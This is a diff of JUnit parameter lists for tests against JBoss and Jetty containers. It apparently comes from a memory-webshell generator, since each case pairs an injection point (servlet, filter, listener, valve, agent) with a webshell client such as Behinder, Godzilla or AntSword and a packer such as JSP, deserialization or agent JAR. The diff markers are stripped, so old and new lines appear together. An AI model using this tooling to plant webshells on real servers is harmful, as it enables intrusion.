arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -45,15 +45,23 @@ public class JbossEap6ContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
@@ -49,18 +49,31 @@ public class JbossEap7ContainerTest {
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -43,23 +43,29 @@ public class Jetty10ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
@@ -43,23 +43,29 @@ public class Jetty11ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -42,23 +42,35 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize)
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize)
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
// arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
@@ -43,26 +43,40 @@ public class Jetty76ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
);
}
@@ -43,26 +43,39 @@ public class Jetty81ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar)
);
}
@@ -44,23 +44,36 @@ public class Jetty92ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
@@ -43,23 +43,36 @@ public class Jetty93ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
